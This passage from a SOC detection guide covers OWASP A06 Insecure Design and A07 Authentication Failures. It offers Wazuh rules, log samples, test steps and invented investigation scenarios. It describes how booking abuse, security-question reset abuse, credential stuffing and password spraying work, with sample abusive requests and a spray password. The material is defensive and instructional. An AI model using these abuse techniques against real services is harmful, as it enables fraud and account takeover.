| Impact assessment | Tables, rows, commands, lateral movement | SOC with DBA and app owner |
| Escalation | Incident lead, app owner, DBA, privacy team | SOC |
| Containment recommendation | WAF block or virtual patch, disable feature, isolate server if commands ran, rotate DB credentials | SOC recommends; owners execute |
| Coordination | Parameterized queries, input validation, output encoding for XSS | Developers |
| Remediation verification | Safe retest, no new DB errors, WAF logs show blocks | SOC with AppSec |
| Documentation and closure | Payloads, timeline, data affected, root cause, rule tuning | SOC and incident lead |
Prevention and Remediation
- Use parameterized queries or safe APIs; this is OWASP’s preferred defense.
- Use positive server side input validation (allow lists) as an extra layer.
- Escape special characters for the specific interpreter when dynamic queries cannot be avoided.
- Never pass user input to a shell; use library functions instead.
- For XSS, encode output for the context (HTML, attribute, JavaScript) and use a Content Security Policy.
- Run database accounts with least privilege so injection cannot read every table.
- Add SAST, DAST and IAST testing to CI/CD.
- Use a WAF for virtual patching and visibility.
A06:2025 Insecure Design
Official page: OWASP A06:2025 Insecure Design
What Is Insecure Design?
Definition: Insecure Design means a needed security control was never designed into the application, so even perfect code cannot stop the abuse. It includes flaws in business logic, such as no limit on how many items one customer can reserve, or a password recovery process that relies on security questions.
Key terms:
- Design flaw versus implementation defect: OWASP stresses this difference. A design flaw means the control was never planned. An implementation defect means the control was planned but coded wrongly (for example injection).
- Business logic is the rules of the business process: discounts, limits, approvals, order of steps.
- Business logic abuse means using legitimate features in an unintended way, with normal looking requests.
- Threat modeling is the practice of analyzing a design to find how it could be abused before building it.
- Trust boundary is a line between more trusted and less trusted parts of a system.
CWE-501(trust boundary violation) is a notable A06 CWE. - Unrestricted file upload (
CWE-434) is also mapped to A06 when the design allows dangerous file types. - Rate limiting and anti automation controls limit how fast or how often an action can be done.
What weakness it represents: “Missing or ineffective control design” (OWASP). The application lacks business risk profiling, so nobody decided what level of security was required.
Why it happens:
- Requirements do not include security and abuse cases.
- No threat modeling during design.
- Features are designed only for the happy path (normal use), not failure or abuse paths.
- Business limits are assumed but never enforced.
- Insecure patterns are reused, such as knowledge based recovery questions.
Why attackers target it: Requests look completely normal, so security tools often do not alert. Business logic abuse can directly produce money, inventory or accounts.
What can happen after successful exploitation: Financial loss (discount abuse, free goods), inventory hoarding, fraud, account takeover through weak recovery, service disruption, and reputational damage.
Business assets affected: revenue, inventory, promotions, customer accounts, brand reputation.
How Business Logic Abuse Works
- What the attacker needs first: Usually a normal account and time to study how a feature works. Sometimes many accounts or bots.
- What is targeted: Booking, checkout, coupons, refunds, loyalty points, account recovery, file upload, multi step workflows.
- What the attacker sends or changes: Valid requests used in an invalid way: huge quantities, repeated coupon use, skipping a step, many requests in parallel, or answering easily researched security questions.
- What the vulnerable application does: Exactly what it was designed to do, because no rule stops it.
- How the attacker exploits it: Automates the abuse or scales it with many accounts.
- What happens on success: Loss of money or goods, account takeover, unfair access to limited items.
- Evidence left behind: Usually no attack signatures. Evidence is behavioral: unusual quantities, unusual frequency, many accounts sharing one IP or device, actions in an unusual order. It mostly appears in application and business logs, not web server logs.
Insecure Design Attack Examples
Example 1: Group booking without limits (from the OWASP scenario)
- Situation: A cinema chain gives group discounts and requires a deposit above fifteen attendees. The booking API does not enforce a maximum per request or per account.
- Attacker objective: Block all seats for a premiere so real customers cannot book, or resell seats.
- Attacker actions: Sends a few booking requests for hundreds of seats.
- Example request:
POST /api/bookings HTTP/1.1
Content-Type: application/json
{"show_id": "PREM-2026-11-20", "seats": 600, "group_discount": true}
- Representative application log (JSON):
{"log_type":"business","event":"booking_created","account_id":"A-77812","client_ip":"203.0.113.90","show_id":"PREM-2026-11-20","seats":"600","deposit_paid":"false"}
- Vulnerable behavior: The application accepts the booking because no rule caps seats or requires the deposit at booking time.
- Attempt versus success: Here the request itself is the abuse. If the API had rejected it (
422with “limit exceeded”), it would be an attempt. A201 Createdand the business log entry show success. - Impact: Lost ticket revenue and angry customers.
Example 2: Account recovery with security questions (from the OWASP scenario)
- Situation: A utility company’s customer portal lets users reset passwords by answering “What city were you born in?” and “What is your pet’s name?”
- Attacker objective: Take over customer accounts.
- Attacker actions: Finds answers on social media or tries common answers across many usernames.
- Representative application log entries:
{"log_type":"business","event":"kba_reset_attempt","username":"j.alvarez","client_ip":"198.51.100.44","result":"fail"}
{"log_type":"business","event":"kba_reset_attempt","username":"m.chen","client_ip":"198.51.100.44","result":"fail"}
{"log_type":"business","event":"kba_reset_attempt","username":"r.okafor","client_ip":"198.51.100.44","result":"success"}
- Vulnerable behavior: The design treats knowledge that other people can know as proof of identity. OWASP,
NIST SP 800-63Band the OWASP ASVS all prohibit this approach. - Attempt versus success: Failed attempts are attempts. A
successfollowed by a password change and login is successful exploitation. - Impact: Account takeover. Root cause is the design of recovery (A06). If the code had a bug in checking answers, that would be an implementation problem; if login had no brute force protection, A07 also applies.
Example 3: Scalper bots (from the OWASP scenario)
A retailer’s checkout has no anti bot design. Bots buy all high end graphics cards within seconds of release. Every request is valid, so injection or access control rules never fire. Evidence: purchases within seconds of availability, many accounts sharing payment cards or shipping addresses, and one IP range placing hundreds of orders.
Insecure Design Indicators and Evidence
| Indicator | Where you see it | Strength |
|---|---|---|
| Quantities far above normal in one transaction | Business or application logs | Strong sign of abuse when no legitimate customer does this |
| One coupon or promotion used by many accounts in a short time | Business logs | Strong |
| Many accounts acting from the same IP or device | App logs, login logs | Suspicious (could be a shared office or carrier NAT) |
| Recovery attempts across many usernames from one IP | App logs | Strong |
| Workflow steps in the wrong order (payment confirmation without payment) | App logs with step names | Strong |
| Actions completed faster than a human could (checkout within 2 seconds of release) | App logs with timestamps | Suspicious to strong |
| Uploads of executable file types where only images are expected | App logs, FIM on upload folder | Strong |
| Normal HTTP status codes, no attack signatures | Access logs | Weak on their own, this is why A06 is hard to detect |
How to Detect Business Logic Abuse with Wazuh
Required Log Sources
| Source | Necessary or optional | Why |
|---|---|---|
| Application business event logs (JSON) with event name, account, IP, amount, quantity, result | Necessary | The only place where logic abuse is visible |
| Web access logs | Optional support | Shows volume and timing, but not business meaning |
| Fraud, payment or anti bot platform logs | Optional, external | Specialized detection for transactions and bots |
| FIM on upload directories | Recommended for upload abuse | Shows dangerous files arriving |
| Authentication logs | Recommended | Connects recovery abuse to logins |
What Wazuh Can and Cannot Detect
- Directly with built in rules: Very little. Generic rules such as 31533 “High amount of POST requests in a small period of time (likely bot)” (level 10, 8 POST requests in 20 seconds from the same source IP, excluding admin paths) can show automation. Nothing built in understands seats, coupons or refunds.
- Needs custom rules: Almost everything in this category, based on application business logs.
- Needs application logs: Yes, always. If the application does not log business events, Wazuh has nothing to analyze.
- Needs external integrations: Fraud detection and bot management platforms for advanced cases.
- Cannot be reliably detected by Wazuh alone: The design flaw itself. Wazuh can detect abuse patterns if logged. Finding the flaw requires threat modeling, design review and testing.
- Suspicious versus proof: A rule that sees 600 seats booked detects abuse of a feature. It proves there is no limit in the design only when the business confirms that such a request should never be allowed.
Wazuh Rules for Business Logic Abuse
All rules below are custom rules (examples) for JSON business logs collected with <log_format>json</log_format>.
Rule logic:
- 100601: A booking for 100 or more seats.
- 100602 and 100603: The same coupon code is applied 20 times within 10 minutes, and each earlier use came from an account different from the latest one.
- 100604 and 100605: Ten security question reset attempts from one IP within 5 minutes, where each earlier attempt targeted a username different from the latest one.
- 100606: A security question reset succeeds from an IP that triggered 100605 in the last 10 minutes.
<group name="custom_owasp,owasp_a06,">
<!-- Custom rule (example): unusually large booking -->
<rule id="100601" level="10">
<decoded_as>json</decoded_as>
<field name="log_type">^business$</field>
<field name="event">^booking_created$</field>
<field name="seats" type="pcre2">^[1-9]\d{2,}$</field>
<description>OWASP A06: Booking of $(seats) seats by account $(account_id), possible business logic abuse</description>
</rule>
<!-- Custom rule (example): counter for coupon use -->
<rule id="100602" level="2">
<decoded_as>json</decoded_as>
<field name="log_type">^business$</field>
<field name="event">^coupon_applied$</field>
<description>OWASP A06: Coupon applied</description>
</rule>
<!-- Custom rule (example): same coupon used by many different accounts -->
<rule id="100603" level="10" frequency="20" timeframe="600">
<if_matched_sid>100602</if_matched_sid>
<same_field>coupon_code</same_field>
<different_field>account_id</different_field>
<description>OWASP A06: Coupon $(coupon_code) applied 20 times by multiple accounts in 10 minutes</description>
</rule>
<!-- Custom rule (example): counter for security question reset attempts -->
<rule id="100604" level="2">
<decoded_as>json</decoded_as>
<field name="log_type">^business$</field>
<field name="event">^kba_reset_attempt$</field>
<description>OWASP A06: Security question reset attempt</description>
</rule>
<!-- Custom rule (example): one IP trying security questions for many accounts -->
<rule id="100605" level="10" frequency="10" timeframe="300">
<if_matched_sid>100604</if_matched_sid>
<same_field>client_ip</same_field>
<different_field>username</different_field>
<description>OWASP A06: Security question resets tried for multiple accounts from $(client_ip)</description>
<mitre>
<id>T1110</id>
</mitre>
</rule>
<!-- Custom rule (example): successful reset after the spray pattern -->
<rule id="100606" level="12" timeframe="600">
<if_sid>100604</if_sid>
<if_matched_sid>100605</if_matched_sid>
<same_field>client_ip</same_field>
<field name="result">^success$</field>
<description>OWASP A06: Security question reset succeeded for $(username) from IP that targeted many accounts</description>
<mitre>
<id>T1078</id>
</mitre>
</rule>
</group>
Syntax notes: same_field and different_field are documented Wazuh options for dynamic fields (decoded JSON keys). The documentation warns that they do not work with static fields such as srcip or user, which is why the examples use client_ip and username. Combining if_sid with if_matched_sid follows the pattern of built in rules such as 2509. Built in rule 40112 uses the same idea for “Multiple authentication failures followed by a success.”
How different_field counts: The Wazuh analysis engine compares each earlier event only with the current event, not the earlier events with each other (verified in src/analysisd/eventinfo.c, v4.14.10). Rule 100603 therefore proves that the latest account differs from the accounts in the earlier events, but two earlier events may share an account. To count truly unique accounts, analysts use a dashboard visualization on data.account_id or the application data. In frequency, the current event counts toward the total, so frequency="20" fires on the twentieth matching event.
Why these levels: 100601, 100603 and 100605 are strong abuse patterns that need business review (level 10). 100606 shows a likely account takeover (level 12).
How to test:
- Paste the booking JSON from Example 1 into
wazuh-logtest. Expected: rule100601. - Change
"seats":"600"to"seats":"4". Expected: no alert. - Paste 10
kba_reset_attemptlines with different usernames and the sameclient_ip. The tenth should show100605. Then paste a line with"result":"success"from the same IP. Expected:100606.
Expected alert (representative, shortened):
{
"rule": { "level": 10, "id": "100605", "description": "OWASP A06: Security question resets tried for multiple accounts from 198.51.100.44", "frequency": 10 },
"agent": { "name": "portal-app-01" },
"decoder": { "name": "json" },
"data": { "log_type": "business", "event": "kba_reset_attempt", "username": "s.novak", "client_ip": "198.51.100.44", "result": "fail" },
"location": "/var/log/portal/business.json"
}
Investigating the Alert in Wazuh
- Find the alert: Threat Hunting, filter
rule.groups:owasp_a06. - Fields to inspect:
data.event,data.account_id,data.username,data.client_ip,data.coupon_code,data.seats,data.result,timestamp,previous_output(frequency rules include earlier matching events). - Source IP:
data.client_ip. Check if it is a mobile carrier, corporate network or hosting provider. Hosting providers are more suspicious for consumer actions. - Affected application:
agent.nameandlocation. - User accounts: List all accounts involved. Check creation dates; accounts created minutes before the abuse are a strong signal.
- Timestamps: Compare against business events (product release, promotion start).
- Correlate: Same IP or device across accounts, same payment card or shipping address (from business data), access log request rates.
- Success check: Business outcome: bookings confirmed, coupons redeemed, passwords changed, orders shipped.
- Impact: Money lost, inventory affected, accounts taken over.
- Document: Pattern, accounts, outcome, and a clear statement that the root cause is a missing design control.
Useful Wazuh Dashboard Queries
| Query | What it finds | What to look for |
|---|---|---|
rule.groups:owasp_a06 | All business logic abuse alerts | Trends around promotions or releases |
data.event:booking_created and data.client_ip:"203.0.113.90" | All bookings from one IP | Number of accounts and seats |
data.coupon_code:"WINTER50" | All uses of one coupon | Accounts, IPs, timing |
data.event:kba_reset_attempt and data.result:success | Successful security question resets | Then check next logins and changes |
rule.id:31533 | Many POSTs from one IP in a short time | Bot driven abuse |
rule.id:100606 | Likely recovery takeovers | Immediate account protection |
Detection Limitations
- No business logs means no visibility.
- Logic abuse uses valid requests, so signature rules do not help.
- Distributed attacks across many IPs avoid per IP thresholds.
- Thresholds depend on business context (a school may legitimately book 200 seats). Work with the business owner.
- Wazuh rule logic cannot easily compare numbers or keep long term per user baselines; complex fraud logic belongs in fraud platforms.
- Improve visibility: Ask developers to log business events in JSON with account, IP, amounts, quantities, step names and results. Agree thresholds with business owners. Feed fraud platform alerts into Wazuh.
Practical SOC Investigation Scenario: Security Question Abuse on a Customer Portal
Hypothetical scenario: This case study is an invented enterprise example that illustrates the investigation method. It does not describe a real organization or breach.
Organization and affected application. A utility company’s customer portal lets users reset passwords by answering two security questions. The portal writes JSON business logs that Wazuh collects.
Initial suspicious activity. One IP starts attempting security question resets for many different customer accounts.
Initial detection. Custom rule 100605 fires: ten security question resets for multiple accounts came from 198.51.100.44 within five minutes. Four minutes later, custom rule 100606 fires for a successful reset of r.okafor from the same IP.
Logs examined. The analyst reviews the business logs filtered by data.client_ip, the authentication and account change events, and the web access logs for the same window.
Suspicious indicators. The IP made 340 reset attempts against 290 usernames in two hours, and 9 of them succeeded. The IP belongs to a hosting provider that no real customer had used before. The access logs show only normal 200 responses, and no built in web attack rule fires.
Event correlation. Each successful reset is followed by a password change, a login and a change to the bank account used for refunds. The portal team confirms that the reset flow has no rate limit and no lockout, and relies only on two security questions.
Assessment of successful exploitation. The failed attempts are attack attempts. The 9 successes, each followed by account changes from the same hosting IP, confirm account takeover. Every request was technically valid: no injection occurred and no authorization check was skipped. The application did exactly what it was designed to do.
Potential business impact. Nine accounts were taken over, and six had their refund bank details changed, creating a direct risk of financial fraud and exposure of personal data.
Incident response actions. The SOC escalates the case as High. It recommends blocking the IP, locking the nine accounts, reverting the bank detail changes and temporarily disabling security question recovery. The fraud team stops pending refunds to the changed accounts, and customer support contacts the affected customers.
Recommended remediation. The product team redesigns recovery around a verified email or SMS link plus MFA, with rate limits, and verification confirms the new flow is logged and limited. The root cause is the recovery design itself, so this is A06 Insecure Design. The missing brute force protection adds an A07 aspect.
Incident Response Process
| Step | Category specific action | Who |
|---|---|---|
| Initial triage | Is the activity outside normal business use? Confirm with the business owner | SOC L1 with business owner |
| Evidence collection | Business logs, account lists, transactions, IPs, access logs | SOC L1 or L2 |
| Event correlation | Link accounts by IP, device, payment card, address, timing | SOC L2 with fraud team |
| Severity assessment | Minor abuse (Low or Medium), financial loss or account takeover (High), large scale fraud (Critical) | SOC L2 |
| Impact assessment | Money, inventory, accounts, customers affected | Business owner, fraud team, SOC |
| Escalation | Incident lead, product owner, fraud team | SOC |
| Containment recommendation | Block IPs, lock accounts, cancel bookings or orders, disable the feature or add a temporary limit | SOC recommends; product and operations execute |
| Coordination | Redesign the control, threat model the feature | Product, architects, developers |
| Remediation verification | Test the new limit, confirm new logs and alerts work | SOC with AppSec |
| Documentation and closure | Abuse pattern, loss, design root cause, new detections | SOC and incident lead |
Prevention and Remediation
- Include security and abuse cases in requirements.
- Threat model features during design and refinement.
- Enforce business limits on the server (quantities, frequency, approvals, step order).
- Replace security questions with stronger recovery methods.
- Restrict file uploads by type, size and storage location; never store uploads where they can execute.
- Add anti automation controls where abuse is likely.
- Design logging of business events from the start so abuse is visible.
- Use secure design patterns and reference architectures (OWASP SAMM can help structure this).
A07:2025 Authentication Failures
Official page: OWASP A07:2025 Authentication Failures
What Are Authentication Failures?
Definition: Authentication Failures happen when an attacker can trick the system into accepting them as a legitimate user, because the login, session or recovery process is weak: no protection against password guessing or credential stuffing, weak or default passwords, missing MFA, hardcoded credentials, or sessions that are not handled safely.
Key terms:
- Credential stuffing: Using username and password pairs leaked from other breaches against your site.
- Password spraying: Trying a few common passwords (for example
Winter2026!) against many accounts to avoid lockouts. OWASP 2025 also describes hybrid attacks that adjust leaked passwords, such as changingWinter2025toWinter2026. - Brute force: Many password guesses against one account.
- MFA (Multi Factor Authentication) requires two or more proofs, such as a password plus an app code.
- Session ID or session token: The value (often in a cookie) that keeps a user logged in after authentication.
- Session fixation (
CWE-384): The app keeps the same session ID before and after login, so an attacker who planted the ID can use it. - Hardcoded credentials (
CWE-798): Passwords or keys written into code or firmware. - SSO (Single Sign On) lets one login give access to many apps. SLO (Single Logout) should log the user out of all of them.
What weakness it represents: The system cannot reliably distinguish the real user from an attacker. Notable CWEs listed by OWASP include CWE-287 (improper authentication), CWE-384 (session fixation), CWE-798 (hardcoded credentials) and CWE-297 (certificate host mismatch).
Why it happens:
- Passwords are the only factor.
- No rate limiting, lockout or bot protection on login.
- Weak password policies or no check against breached password lists.
- Session tokens are exposed in URLs, not rotated after login, or not invalidated on logout or timeout.
- Default or hardcoded credentials remain in products.
Why attackers target it: Billions of leaked credentials are available, and people reuse passwords. A valid login looks like normal use, which helps attackers stay hidden.
What can happen after successful exploitation: Account takeover, fraud, data theft under a real user’s identity, admin access if an admin account is taken, and further phishing from the compromised account.
Business assets affected: customer and employee accounts, admin accounts, VPN and email access, payment functions, personal data.
How Authentication Attacks Work
- What the attacker needs first: A list of usernames (often email addresses) and leaked passwords, or a list of common passwords, plus automation tools and many IP addresses (proxies).
- What part is targeted: Login pages and APIs, mobile app login endpoints, password reset, MFA prompts, session cookies.
- What the attacker sends: Many login requests with different username and password pairs, often slowly and from many IPs.
- What the vulnerable application does: Answers each attempt without limits and returns different responses for valid and invalid accounts, which acts as a “password oracle”.
- How the attacker exploits it: Collects the pairs that work, then logs in and uses the accounts.
- What happens on success: The attacker has a valid session, indistinguishable from the user unless context (location, device, behavior) is checked.
- Evidence left behind: Many failures across many accounts, failures followed by success, logins from new countries or hosting providers, impossible travel, session use from two IPs, MFA prompt floods, password and email changes after login.
Credential Stuffing and Password Spraying Examples
Example 1: Credential stuffing against a retail login API
- Situation: An online fashion retailer’s mobile app logs in through
POST /api/v2/login. There is no MFA for customers and no bot protection. - Attacker objective: Take over accounts with stored payment cards and loyalty points.
- Attacker actions: Uses a leaked list of 200,000 email and password pairs and rotates through proxy IPs.
- Representative application log (JSON):
{"log_type":"auth","event":"login_failed","username":"anna.k@example.com","client_ip":"203.0.113.150","reason":"bad_password","user_agent":"okhttp/4.12.0"}
{"log_type":"auth","event":"login_failed","username":"ben.t@example.com","client_ip":"203.0.113.150","reason":"unknown_user","user_agent":"okhttp/4.12.0"}
{"log_type":"auth","event":"login_success","username":"carla.m@example.com","client_ip":"203.0.113.150","mfa":"none","user_agent":"okhttp/4.12.0"}
- Vulnerable behavior: No rate limit, and different reasons (
bad_passwordversusunknown_user) reveal which accounts exist. - Attempt versus success: Each
login_failedis an attempt. Alogin_successfrom the same IP after many failures for other accounts is very likely a stuffing success, confirmed if the real user did not log in from that IP and if the session then changes the shipping address or uses points. - Impact: Account takeover, fraud with stored cards, loyalty point theft.
Example 2: Password spray against an employee portal
- Situation: A law firm’s web based email and document portal uses Windows authentication against Active Directory. Some accounts are exempt from MFA.
- Attacker objective: Get one employee account for internal phishing.
- Attacker actions: Tries
Autumn2026!against 400 employee usernames once each, from a single IP, slowly. - Representative Windows evidence: Many Event ID 4625 (failed logon) for different
TargetUserNamevalues with the same sourceIpAddress, then one Event ID 4624 (successful logon) forj.ward. - Attempt versus success: 399 failures are attempts. The single 4624 from the same IP is success, confirmed if
j.warddid not log in at that time. - Impact: A foothold inside the firm, access to confidential client documents.
Example 3: Session not invalidated (from the OWASP scenario)
An employee uses a shared computer, closes the tab without logging out, and the session never times out. The next person opens the app and is still logged in as the first employee. Evidence: the same session ID used by a different workstation or later at an unusual time. With SSO and no Single Logout, logging out of one app may leave the user logged in to others.
Authentication Attack Indicators and Evidence
| Indicator | Where you see it | Strength |
|---|---|---|
| Many failed logins for one account | App auth logs, Windows 4625, Linux auth logs | Suspicious (brute force or user forgot password) |
| Failed logins for many accounts from one IP | App auth logs, Windows 4625 | Strong sign of spraying or stuffing |
High ratio of unknown_user failures | App auth logs | Strong sign of stuffing with leaked lists |
| Success after many failures from the same IP | Correlation | Strong sign of compromise |
| Login from a new country, hosting provider or TOR exit | App logs plus IP enrichment | Suspicious |
| Impossible travel (two countries in minutes) | Correlation | Strong |
| Same session ID used from two different IPs | App session logs | Strong sign of session hijacking (check mobile network changes) |
| Many MFA push requests to one user | Identity provider logs | Strong sign of MFA fatigue attack |
| Password, email or MFA device changed right after a new login | App or identity logs | Strong sign of takeover |
Successful login with a default account name such as admin | App logs | Strong |
How to Detect Authentication Attacks with Wazuh
Required Log Sources
| Source | Necessary or optional | Why |
|---|---|---|
| Application authentication logs (JSON) with username, IP, result, reason, MFA status | Necessary for web app logins | Web logins are usually not in OS logs |
| Web access logs | Recommended | Request volume to /login, status codes |
| Windows Security Event Log (4624, 4625, 4740) | Necessary when the app uses Windows or AD authentication | Built in Wazuh rules exist |
Linux authentication logs (/var/log/auth.log, /var/log/secure) | Necessary for SSH and PAM | Built in Wazuh rules exist |
| Identity provider logs (for example Microsoft Entra ID, Okta) | Recommended, needs integration | MFA, SSO and risky sign ins |
| Web server authentication logs (Basic auth failures in Apache or NGINX error logs) | Optional | Built in rules exist |
What Wazuh Can and Cannot Detect
- Directly with built in rules (all checked in the v4.14.10 ruleset):
- Windows: 60122
Logon Failure - Unknown user or bad password(level 5), 60204 “Multiple Windows Logon Failures” (level 10), 60106 “Windows Logon Success” (level 3), 60115 “User account locked out (multiple login errors)” (level 9). - Linux SSH and PAM: 5716 “sshd: authentication failed” (level 5), 5710
sshd: Attempt to login using a non-existent user(level 5), 5720 “sshd: Multiple authentication failures” (level 10), 5763 “sshd: brute force trying to get access to the system. Authentication failed.” (level 10), 5503 “PAM: User login failed” (level 5), 5551 “PAM: Multiple failed logins in a small period of time” (level 10). - Web servers and CMS: 30108 “Apache: User authentication failed”, 31315 “Nginx: Web authentication failed” and 31316 “Nginx: Multiple web authentication failures”, 31509 “CMS (WordPress or Joomla) login attempt” (level 3) and 31510 “CMS (WordPress or Joomla) brute force attempt” (level 8, 8 in 30 seconds).
- Correlation: 40112 “Multiple authentication failures followed by a success” (level 12). It fires when an event in group
authentication_successfollows events in groupauthentication_failuresfrom the same source IP within 240 seconds.
- Windows: 60122
- Needs custom rules: Custom web application login logs, password spraying across many accounts (different usernames), session reuse from different IPs.
- Needs application logs: Yes, for any custom web login. Without them, the SOC only sees
POST /loginand status codes. - Needs external integrations: Identity provider logs, IP reputation and geolocation enrichment, MFA logs.
- Cannot be reliably detected by Wazuh alone: a single correct login with a stolen password from a normal looking location, session hijacking when the session ID is not logged, and slow distributed stuffing across thousands of IPs.
- Suspicious versus proof: A spray rule detects attack attempts. A success after spray is strong suspicion of compromise. Proof comes from the real user confirming they did not log in, or from malicious actions in the session.
Wazuh Rules for Authentication Attacks
Custom rules (examples) for JSON application authentication logs:
<group name="custom_owasp,owasp_a07,authentication,">
<!-- Custom rule (example): application login failure -->
<rule id="100701" level="5">
<decoded_as>json</decoded_as>
<field name="log_type">^auth$</field>
<field name="event">^login_failed$</field>
<description>OWASP A07: Application login failed for $(username) from $(client_ip)</description>
<group>authentication_failed,</group>
</rule>
<!-- Custom rule (example): password spray or credential stuffing, many usernames from one IP -->
<rule id="100702" level="10" frequency="20" timeframe="300">
<if_matched_sid>100701</if_matched_sid>
<same_field>client_ip</same_field>
<different_field>username</different_field>
<description>OWASP A07: 20 login failures for multiple accounts from $(client_ip) in 5 minutes (spray or stuffing)</description>
<mitre>
<id>T1110.003</id>
<id>T1110.004</id>
</mitre>
<group>authentication_failures,</group>
</rule>
<!-- Custom rule (example): brute force against one account -->
<rule id="100703" level="10" frequency="10" timeframe="120">
<if_matched_sid>100701</if_matched_sid>
<same_field>username</same_field>
<description>OWASP A07: 10 failed logins for account $(username) in 2 minutes</description>
<mitre>
<id>T1110.001</id>
</mitre>
<group>authentication_failures,</group>
</rule>
<!-- Custom rule (example): application login success -->
<rule id="100704" level="3">
<decoded_as>json</decoded_as>
<field name="log_type">^auth$</field>
<field name="event">^login_success$</field>
<description>OWASP A07: Application login success for $(username)</description>
<group>authentication_success,</group>
</rule>
<!-- Custom rule (example): success from an IP that was spraying -->
<rule id="100705" level="12" timeframe="600">
<if_sid>100704</if_sid>
<if_matched_sid>100702</if_matched_sid>
<same_field>client_ip</same_field>
<description>OWASP A07: Successful login for $(username) from $(client_ip) after a spray or stuffing pattern</description>
<mitre>
<id>T1078</id>
</mitre>
</rule>
<!-- Custom rule (example): same session used from different IPs -->
<rule id="100706" level="2">
<decoded_as>json</decoded_as>
<field name="log_type">^session$</field>
<field name="event">^session_activity$</field>
<description>OWASP A07: Session activity</description>
</rule>
<rule id="100707" level="10" frequency="2" timeframe="300">
<if_matched_sid>100706</if_matched_sid>
<same_field>session_id</same_field>
<different_field>client_ip</different_field>
<description>OWASP A07: Session for $(username) used from a different IP within 5 minutes, possible session hijacking</description>
<mitre>
<id>T1550.004</id>
</mitre>
</rule>
</group>
Notes:
- The groups
authentication_failed,authentication_failuresandauthentication_successfollow the naming used by built in rules, so dashboards that filter by these groups include the custom events. - Built in rule 40112 correlates using
same_source_ip, which relies on the staticsrcipfield. These JSON logs useclient_ip, so a dedicated rule (100705) is used instead. - As in the A06 rules,
different_fieldin 100702 compares earlier events with the current one, so the rule shows failures spread across several accounts rather than an exact count of unique accounts. - By default, Wazuh counts frequency events per agent. If the login API runs on several servers, each with its own agent, the documented
<global_frequency />option makes the rule count events from all agents together. - MITRE IDs:
T1110.001Password Guessing,T1110.003Password Spraying,T1110.004Credential Stuffing,T1078Valid Accounts,T1550.004Web Session Cookie. See MITRE ATT&CK T1110.
Why these levels: Single failures are user errors (level 5, matching Wazuh’s classification “user generated error”). Repeated failures and sprays are level 10 (“multiple user generated errors”). Success after spray is level 12, a high importance event needing quick action.
How to test:
- In
wazuh-logtest, paste 20login_failedlines with different usernames and the sameclient_ip. The twentieth should show100702. - Paste a
login_successline from the same IP. Expected:100705, level 12. - Paste two
session_activitylines with the samesession_idand differentclient_ip. Expected:100707on the second.
Example session lines:
{"log_type":"session","event":"session_activity","session_id":"s-9f31c2","username":"carla.m@example.com","client_ip":"192.0.2.10","path":"/account"}
{"log_type":"session","event":"session_activity","session_id":"s-9f31c2","username":"carla.m@example.com","client_ip":"203.0.113.150","path":"/account/address"}
Expected alert (representative, shortened):
{
"rule": { "level": 12, "id": "100705", "description": "OWASP A07: Successful login for carla.m@example.com from 203.0.113.150 after a spray or stuffing pattern", "groups": ["custom_owasp", "owasp_a07", "authentication"] },
"agent": { "name": "shop-api-02" },
"decoder": { "name": "json" },
"data": { "log_type": "auth", "event": "login_success", "username": "carla.m@example.com", "client_ip": "203.0.113.150", "mfa": "none" }
}
Investigating the Alert in Wazuh
- Find the alert: Threat Hunting, filter
rule.groups:authentication_failuresor the specific ID. For Windows, the alert data is underdata.win. - Fields to inspect:
- App logs:
data.username,data.client_ip,data.reason,data.mfa,data.user_agent. - Windows:
data.win.system.eventID,data.win.eventdata.targetUserName,data.win.eventdata.ipAddress,data.win.eventdata.logonType. - Linux:
data.srcip,data.srcuserordata.dstuser.
- App logs:
- Source IP: Count distinct accounts targeted by the IP; check ASN (hosting versus residential), reputation and country.
- Affected application:
agent.name,location. - User accounts: List successful accounts. Those are the priority.
- Timestamps: Attack start and end; time of each success; time of the real user’s last normal login.
- Correlate: For each successful account, check the next actions: password change, email change, address change, MFA registration, data download.
- Success check: Ask the user or their manager to confirm; compare device and location with their history.
- Impact: Number of compromised accounts and what they could access.
- Document: IP list, accounts targeted, accounts compromised, actions taken by the attacker, containment done.
Useful Wazuh Dashboard Queries
| Query | What it finds | What to look for |
|---|---|---|
rule.groups:authentication_failures | All repeated failure alerts (built in and custom) | Top sources and targets |
rule.id:(100705 or 40112) | Success after failures | Immediate account protection |
data.event:login_success and data.client_ip:"203.0.113.150" | Accounts that logged in from the attacking IP | Compromised account list |
data.win.system.eventID:4625 and data.win.eventdata.ipAddress:"198.51.100.70" | Windows failed logons from one IP | Number of distinct targetUserName values |
rule.id:60204 | Multiple Windows logon failures | Spray or brute force against AD |
rule.id:(5720 or 5763 or 5551) | Linux brute force | Source IPs, then check 5715 successes |
rule.id:100707 | Session used from different IPs | Mobile network change or hijack |
data.reason:unknown_user | Failures for non existent accounts | Stuffing with external lists |
Detection Limitations
- Custom web logins are invisible without application logs.
- Distributed attacks (one attempt per IP) defeat per IP thresholds; correlate on username, user agent or time window instead.
- A correct password on the first try produces no failure pattern.
- Session tokens are rarely logged, so hijacking is hard to see.
- False positives: NAT gateways, corporate proxies, mobile carriers, password manager errors, users after a password change.
- Improve visibility: JSON auth logs with result and reason, session logs with a hashed session ID, identity provider integration, IP enrichment, and alerts on post login account changes.
Practical SOC Investigation Scenario: Credential Stuffing Against a Mobile Login API
Hypothetical scenario: This case study is an invented enterprise example that illustrates the investigation method. It does not describe a real organization or breach.
Organization and affected application. A fashion retailer’s mobile app authenticates through a login API. The API writes JSON authentication and session logs that Wazuh collects.
Initial suspicious activity. A single IP generates a burst of failed logins against many different customer accounts.
Initial detection. Custom rule 100702 fires: 20 login failures for multiple accounts from 203.0.113.150 in five minutes. Thirty seconds later, custom rule 100705 fires for a successful login for carla.m@example.com from the same IP.
Logs examined. The analyst reviews the authentication logs, the session logs and the access logs, then pivots on the user agent and on timing.
Suspicious indicators. The IP made 3,800 login attempts in one hour against 3,600 distinct usernames. About 70% failed with unknown_user, a typical sign of a credential list leaked from another site. Forty more IPs in the same hosting range show the same user agent and timing.
Event correlation. Across all the attacking IPs, 112 logins succeeded and none used MFA. The session logs show address changes and loyalty point redemptions within minutes of those logins. The mobile team confirms that no internal load test was running.
Assessment of successful exploitation. The failures are attempts. The 112 successes from the attacking range, each followed by account changes, confirm account takeover through credential stuffing. Once logged in, the attacker only accessed each victim’s own data. That makes this an authentication failure (A07) rather than an authorization failure (A01).
Potential business impact. 112 accounts were taken over, loyalty points were stolen, and personal data and partial card details were exposed.
